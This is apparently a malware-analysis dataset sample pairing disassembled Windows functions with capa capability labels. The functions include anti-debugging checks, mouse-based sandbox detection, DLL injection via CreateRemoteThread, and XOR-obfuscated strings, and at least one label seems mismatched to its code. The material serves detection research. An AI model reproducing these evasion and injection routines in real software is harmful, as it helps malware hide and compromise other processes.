joyce8/EMBER2024-capa huggingface dataset:
Function at 0x353642090
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x3536420dd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x3536420d4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x3536420df
add rax, 0x28
cmp rax, r9
jne 0x3536420c0
xor eax, eax
ret

Function at 0x3536420e0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x353642170
mov rdx, qword [0x353662260]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x35364215e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x35364215e
cmp word [rax + 0x18], 0x20b
jne 0x35364215e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x353642170
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x353642149
add rbx, 0x28
cmp rbx, rdi
je 0x353642170
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x353642140
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x353642180
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x353662260]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3536421a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3536421a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3536421a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x3536421fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x3536421f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3536421a0
add rax, 0x28
cmp rax, r9
jne 0x3536421e0
xor eax, eax
ret

Function at 0x353642200
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x353662260]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x35364221f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x353642228
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x35364221f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x353642240
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x353662260]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x353642260
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x353642268
ret
cmp word [rdx + 0x18], 0x20b
jne 0x353642260
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x3536422b0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x3536422a7
test rcx, rcx
je 0x353642260
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x353642298
xor eax, eax
ret
Function at 0x3536422c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x353662260]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x3536422df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x3536422e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x353642300
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x353662260]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x353642320
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x353642328
ret
cmp word [r8 + 0x18], 0x20b
jne 0x353642320
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x353642320
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x353642374
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x353642380
add rdx, 0x28
cmp rdx, r9
jne 0x353642360
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x353642390
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x353662260]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x3536423b2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x3536423c0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3536423b2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x3536423b2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x3536423b2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x353642415
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x353642428
add rdx, 0x28
cmp r10, rdx
jne 0x353642400
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x353642437
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x353642447
mov edx, dword [rax + 0xc]
test edx, edx
je 0x35364241e
test ecx, ecx
jg 0x353642430
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x401780
Capabilities:
Query or enumerate registry value

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x440
mov r12, rcx
mov rcx, r9
mov rbx, r9
mov r14, rdx
mov r13, r8
call sub.msvcrt.dll_strlen
lea rbp, [rax + 1]
mov rsi, rax
mov rcx, rbp
call sub.msvcrt.dll_malloc
mov r8, rbp
mov rdx, rbx
mov rcx, rax
mov rdi, rax
call sub.msvcrt.dll_strncpy
mov dword [rsp + 0x34], 0x400
call fcn.004015f0
test eax, eax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
je 0x401900
mov r9d, 0x20119
xor r8d, r8d
mov rdx, r14
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4018e4
lea rax, [rsp + 0x34]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x38]
lea rbx, [rsp + 0x40]
mov rdx, r13
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x38]
mov ebp, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebp, ebp
jne 0x4018e4
mov rcx, rbx
mov rbp, qword [sym.imp.msvcrt.dll_toupper]
jmp 0x401860
movsx ecx, byte [r12 - 1]
call rbp
mov rcx, r12
mov byte [r12 - 1], al
mov rdx, rbx
mov r8d, dword [rdx]
add rdx, 4
lea eax, [r8 - 0x1010101]
not r8d
and eax, r8d
and eax, 0x80808080
je 0x401863
lea r12, [rcx + 1]
mov r8d, eax
shr r8d, 0x10
test eax, 0x8080
cmove eax, r8d
lea r8, [rdx + 2]
mov r10d, eax
cmove rdx, r8
add r10b, al
sbb rdx, 3
sub rcx, rbx
sub rdx, rbx
cmp rdx, rcx
ja 0x401850
test rsi, rsi
je 0x4018d4
mov r12, qword [sym.imp.msvcrt.dll_toupper]
mov rbp, rdi
add rsi, rdi
movsx ecx, byte [rbp]
add rbp, 1
call r12
mov byte [rbp - 1], al
cmp rsi, rbp
jne 0x4018c1
mov rdx, rdi
mov rcx, rbx
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x401920
mov rcx, rdi
call sub.msvcrt.dll_free
xor eax, eax
add rsp, 0x440
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov r9d, 0x20019
xor r8d, r8d
mov rdx, r14
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x4017f9
mov rcx, rdi
call sub.msvcrt.dll_free
mov eax, 1
jmp 0x4018ee

Function at 0x401b50
Capabilities:
Get file attributes

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
call fcn.004015f0
cmp eax, 1
je 0x401b80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, eax
xor eax, eax
cmp ebx, 0xffffffff
setne al
add rsp, 0x30
pop rbx
ret
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x28]
call fcn.00401930
test eax, eax
je 0x401b75
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov rcx, qword [rsp + 0x28]
mov ebx, eax
call fcn.00401a40
jmp 0x401b6d
Function at 0x401d60
Capabilities:
Enumerate processes

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x150
xor edx, edx
mov rdi, rcx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
xor eax, eax
cmp rbx, 0xffffffffffffffff
je 0x401dd9
lea rsi, [rsp + 0x20]
mov rcx, rbx
mov dword [rsp + 0x20], 0x130
mov rdx, rsi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401df0
mov r12, qword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea rbp, [rsi + 0x2c]
jmp 0x401dbf
mov rdx, rsi
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x401df0
mov rdx, qword [rdi]
mov rcx, rbp
call r12
test eax, eax
jne 0x401db0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
add rsp, 0x150
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x150
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x4021c0
Capabilities:
Check for debugger via api

Disassembly:
sub rsp, 0x38
mov dword [rsp + 0x2c], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rdx, [rsp + 0x2c]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
mov eax, dword [rsp + 0x2c]
test eax, eax
setne al
add rsp, 0x38
ret

Function at 0x403200
Capabilities:
Check for outputdebugstring error
Print debug messages

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, str.wanna_die
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
setne al
add rsp, 0x28
ret
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x404a90
mov eax, 1
add rsp, 0x28
ret
call fcn.004021c0
test al, al
jne 0x404a7e
call fcn.00402590
test al, al
jne 0x404a7e
mov rax, qword gs:[0x60]
test byte [rax + 0xbc], 0x70
jne 0x404a7e
call fcn.00402480
test al, al
jne 0x404a7e
call fcn.004024f0
test al, al
jne 0x404a7e
test byte [0x7ffe02d4], 3
jne 0x404a7e
call fcn.00402bf0
test al, al
jne 0x404a7e
call fcn.00402c70
test al, al
jne 0x404a7e
call fcn.00403120
test eax, eax
jne 0x404a7e
add rsp, 0x28
jmp 0x403200
Function at 0x404990
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rdi, qword [sym.imp.USER32.dll_GetCursorPos]
mov ebx, 0x64
mov qword [rsp + 0x28], 0
lea rbp, [rsp + 0x28]
mov rcx, rbp
call rdi
mov esi, dword [rsp + 0x28]
mov r13d, dword [rsp + 0x2c]
mov r12, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x64
call r12
sub ebx, 1
je 0x4049fc
mov rcx, rbp
call rdi
test r13d, r13d
je 0x4049e6
test esi, esi
jne 0x404a10
mov esi, dword [rsp + 0x28]
mov ecx, 0x64
mov r13d, dword [rsp + 0x2c]
call r12
sub ebx, 1
jne 0x4049d8
mov eax, 1
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov r8d, dword [rsp + 0x2c]
mov ecx, dword [rsp + 0x28]
mov eax, r8d
sub eax, r13d
cdq
xor eax, edx
sub eax, edx
mov edx, ecx
sub edx, esi
shl eax, 0x10
mov r9d, edx
sar r9d, 0x1f
xor edx, r9d
sub edx, r9d
add eax, edx
jne 0x404a43
mov r13d, r8d
mov esi, ecx
jmp 0x4049cb
xor eax, eax
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x404a70
Capabilities:
Check for peb ntglobalflag flag
Print debug messages

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, str.wanna_die
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
setne al
add rsp, 0x28
ret
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x404a90
mov eax, 1
add rsp, 0x28
ret
call fcn.004021c0
test al, al
jne 0x404a7e
call fcn.00402590
test al, al
jne 0x404a7e
mov rax, qword gs:[0x60]
test byte [rax + 0xbc], 0x70
jne 0x404a7e
call fcn.00402480
test al, al
jne 0x404a7e
call fcn.004024f0
test al, al
jne 0x404a7e
test byte [0x7ffe02d4], 3
jne 0x404a7e
call fcn.00402bf0
test al, al
jne 0x404a7e
call fcn.00402c70
test al, al
jne 0x404a7e
call fcn.00403120
test eax, eax
jne 0x404a7e
add rsp, 0x28
jmp 0x403200
Function at 0x405ff0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor ebp, ebp
mov r8d, ecx
mov rsi, rdx
mov ecx, 0x1f0fff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
mov rbx, rax
je 0x406182
mov rax, qword [rsi + 8]
xor edx, edx
mov r9d, 0x1000
mov rcx, rbx
mov dword [rsp + 0x20], 4
lea r8, [rax + 1]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
mov rdi, rax
je 0x406179
mov rax, qword [rsi + 8]
mov rdx, rdi
mov rcx, rbx
mov qword [rsp + 0x20], 0
mov r8, qword [rsi]
lea r9, [rax + 1]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x406164
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x406164
lea rdx, str.LoadLibraryA
mov rcx, rax
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rsi
test rax, rax
mov r9, rax
je 0x406164
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 0
mov rcx, rbx
mov qword [rsp + 0x30], 0
mov r12, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x20], rdi
call r12
test rax, rax
je 0x406164
mov edx, 0xffffffff
mov rcx, rax
mov r13, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call r13
lea r8, [rsp + 0x48]
mov rdx, qword [sym.imp.ktd.dll_ktd]
mov qword [rsp + 0x48], 0
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
test eax, eax
je 0x406164
lea rdx, [0x004c936e]
mov rcx, qword [rsp + 0x48]
call rsi
test rax, rax
mov rsi, rax
je 0x406164
call rax
test al, al
mov ebp, eax
je 0x406164
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 0
mov r9, rsi
mov qword [rsp + 0x30], 0
mov rcx, rbx
mov qword [rsp + 0x20], 0
call r12
test rax, rax
je 0x406191
mov edx, 0xffffffff
mov rcx, rax
call r13
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebp
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
xor ebp, ebp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x406182

Function at 0x4061c0
Capabilities:
Enumerate processes

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x150
xor edx, edx
mov rdi, rcx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
xor eax, eax
cmp rbx, 0xffffffffffffffff
je 0x406239
lea rsi, [rsp + 0x20]
mov rcx, rbx
mov dword [rsp + 0x20], 0x130
mov rdx, rsi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x406250
mov r12, qword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea rbp, [rsi + 0x2c]
jmp 0x40621f
mov rdx, rsi
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x406250
mov rdx, qword [rdi]
mov rcx, rbp
call r12
test eax, eax
jne 0x406210
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
add rsp, 0x150
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x150
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x4066f0
Capabilities:
Reference http user-agent string

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xe8
xor r8d, r8d
movabs rax, 0x1b54080000000012
mov qword [rsp + 0xc0], rax
mov rsi, rcx
xor ecx, ecx
movabs rax, 0xe5eeec501014111f
mov qword [rsp + 0xc8], rax
mov eax, 0xfffff8ef
mov rdi, rdx
mov word [rsp + 0xd4], ax
xor eax, eax
mov dword [rsp + 0xd0], 0xf6abeaea
mov byte [rsp + 0xd6], 0x89
jmp 0x40675d
mov ecx, eax
movzx r8d, byte [rsp + rcx + 0xc4]
lea edx, [rax + 0x77]
add eax, 1
xor edx, r8d
mov byte [rsp + rcx + 0xc4], dl
mov edx, dword [rsp + 0xc0]
cmp edx, eax
ja 0x406752
lea rbx, [rsp + 0xc0]
mov byte [rsp + rdx + 0xc4], 0
lea r12, [rsp + 0x40]
lea rdx, [rbx + 4]
mov rcx, r12
call fcn.00406270
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call fcn.00405210
mov qword [rsp + 0x20], 2
lea r9, [0x004c93cd]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.00497100
lea rdi, [rsp + 0x60]
lea rdx, [rdi + 0x10]
mov qword [rsp + 0x60], rdx
mov rcx, qword [rax]
lea rdx, [rax + 0x10]
cmp rcx, rdx
je 0x406906
mov qword [rsp + 0x60], rcx
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
mov rcx, qword [rax + 8]
mov byte [rax + 0x10], 0
mov qword [rsp + 0x68], rcx
mov qword [rax], rdx
mov qword [rax + 8], 0
mov rcx, qword [rsp + 0xc0]
lea rax, [rbx + 0x10]
cmp rcx, rax
je 0x40681e
call fcn.004c3fe0
lea rbp, [rsp + 0x80]
lea rdx, str.Accept_language:_fr_FR_fr_q0.5_en_US_q0.5_r_nUser_Agent:_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_115.0.0.0_Safari_537.36_r_nAccept:_text_html
mov rcx, rbp
call fcn.00406270
mov byte [rsp + 0x3c], 0x7b
mov r8d, 0x27
xor ecx, ecx
movabs rax, 0x2e2a372700000004
mov qword [rsp + 0x34], rax
xor eax, eax
jmp 0x40685d
mov ecx, eax
movzx r8d, byte [rsp + rcx + 0x38]
lea edx, [rax + 0x77]
add eax, 1
xor edx, r8d
mov byte [rsp + rcx + 0x38], dl
mov edx, dword [rsp + 0x34]
cmp edx, eax
ja 0x406855
mov byte [rsp + rdx + 0x38], 0
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.00406270
mov qword [rsp + 0x28], rdi
mov r9, rbp
mov r8, r12
mov rdx, rsi
lea r13, [rsp + 0xa0]
mov qword [rsp + 0x20], rbx
mov rcx, r13
call fcn.004062b0
mov rcx, qword [rsp + 0xc0]
add rbx, 0x10
cmp rcx, rbx
je 0x4068bd
call fcn.004c3fe0
mov rcx, qword [rsp + 0xa0]
add r13, 0x10
cmp rcx, r13
je 0x4068d3
call fcn.004c3fe0
mov rcx, qword [rsp + 0x80]
add rbp, 0x10
cmp rcx, rbp
je 0x4068e9
call fcn.004c3fe0
mov rcx, qword [rsp + 0x60]
add rdi, 0x10
cmp rcx, rdi
je 0x4068fc
call fcn.004c3fe0
mov rcx, qword [rsp + 0x40]
call fcn.004c3fe0
movdqu xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x4067f0
Function at 0x406f60
Capabilities:
Enumerate files on windows

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x180
xor r9d, r9d
mov r8, qword [rcx + 8]
lea rsi, [rsp + 0x20]
mov rbx, rdx
mov rdx, qword [rcx]
lea rax, [rsi + 0x10]
mov rcx, rsi
mov qword [rsp + 0x20], rax
add r8, rdx
call fcn.004976a0
movabs rax, 0x7fffffffffffffff
sub rax, qword [rsp + 0x28]
cmp rax, 1
jbe 0x40710f
lea rdx, [0x004c94fa]
mov r8d, 2
mov rcx, rsi
call fcn.00498cf0
lea rbp, [rsp + 0x40]
mov rcx, qword [rsp + 0x20]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rcx, qword [rsp + 0x20]
mov rdi, rax
lea rax, [rsi + 0x10]
cmp rcx, rax
je 0x406fee
call fcn.004c3fe0
cmp rdi, 0xffffffffffffffff
je 0x4070e9
lea r13, [rsi + 0x10]
mov r14, qword [sym.imp.KERNEL32.dll_FindNextFileA]
lea r12, [rbp + 0x2c]
jmp 0x407050
lea rax, [rdx + 0x10]
mov qword [rdx], rax
mov rax, qword [rsp + 0x20]
cmp rax, r13
je 0x407100
mov qword [rdx], rax
mov rax, qword [rsp + 0x30]
mov qword [rdx + 0x10], rax
mov rax, qword [rsp + 0x28]
mov qword [rdx + 8], rax
add qword [rbx + 8], 0x20
mov rdx, rbp
mov rcx, rdi
call r14
test eax, eax
je 0x4070df
test byte [rsp + 0x40], 0x10
jne 0x40703f
mov qword [rsp + 0x20], r13
mov r8, r12
mov edx, dword [r8]
add r8, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x40705f
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [r8 + 2]
mov ecx, eax
cmove r8, rdx
add cl, al
mov rdx, r12
mov rcx, rsi
sbb r8, 3
xor r9d, r9d
call fcn.004975e0
mov rdx, qword [rbx + 8]
cmp rdx, qword [rbx + 0x10]
jne 0x407010
mov r8, rsi
mov rcx, rbx
call fcn.00494830
mov rcx, qword [rsp + 0x20]
cmp rcx, r13
je 0x40703f
call fcn.004c3fe0
mov rdx, rbp
mov rcx, rdi
call r14
test eax, eax
jne 0x407050
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
add rsp, 0x180
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
movdqa xmm0, xmmword [rsp + 0x30]
movups xmmword [rdx + 0x10], xmm0
jmp 0x407031
lea rcx, [0x004c93a7]
call fcn.004bcef0
mov rcx, qword [rsp + 0x20]
add rsi, 0x10
mov rbx, rax
cmp rcx, rsi
je 0x407131
call fcn.004c3fe0
mov rcx, rbx
call fcn.00413690
jmp 0x40711b

Function at 0x407140
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp rcx, rdx
mov rdi, rcx
mov rsi, rdx
je 0x4071d2
mov rbx, rdx
mov r8d, 0x3f
xor r9d, r9d
sub rbx, rcx
bsr rax, rbx
xor rax, 0x3f
cdqe
sub r8, rax
add r8, r8
call fcn.004bbed0
cmp rbx, 0x10
jle 0x4071e0
lea rbx, [rdi + 0x10]
xor r8d, r8d
mov rcx, rdi
mov rdx, rbx
call fcn.004bbe20
cmp rsi, rbx
mov rdx, rbx
je 0x4071d2
nop word [rax + rax]
movzx r8d, byte [rdx]
lea rax, [rdx - 1]
movzx ecx, byte [rdx - 1]
cmp cl, r8b
jg 0x4071b6
jmp 0x4071f5
mov rax, r9
mov byte [rax + 1], cl
movzx ecx, byte [rax - 1]
lea r9, [rax - 1]
cmp r8b, cl
jl 0x4071b3
add rdx, 1
mov byte [rax], r8b
cmp rdx, rsi
jne 0x4071a0
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp fcn.004bbe20
mov rax, rdx
add rdx, 1
cmp rdx, rsi
mov byte [rax], r8b
jne 0x4071a0
jmp 0x4071d2
Function at 0x412340
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x004f7624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x4124c8
mov rax, qword [0x004f7628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x41238c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x412415
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x412370
mov rcx, rbx
call fcn.00412fe0
test rax, rax
mov r12, rax
je 0x4124fd
mov rax, qword [0x004f7628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.00413110
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x004f7628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4124e0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x41240e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x412470
add dword [0x004f7624], 1
cmp edi, 8
jae 0x412443
test dil, 4
jne 0x4124b4
test edi, edi
je 0x412438
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x4124cf
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x412438
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x41245c
jmp 0x412438
add rsi, qword [0x004f7628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x41240e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.004c52e0
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x412438
xor esi, esi
jmp 0x412397
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x412438
mov rax, qword [0x004f7628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.004c52e0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.004c52e0
nop
nop dword [rax]

Function at 0x412c50
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004f7900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
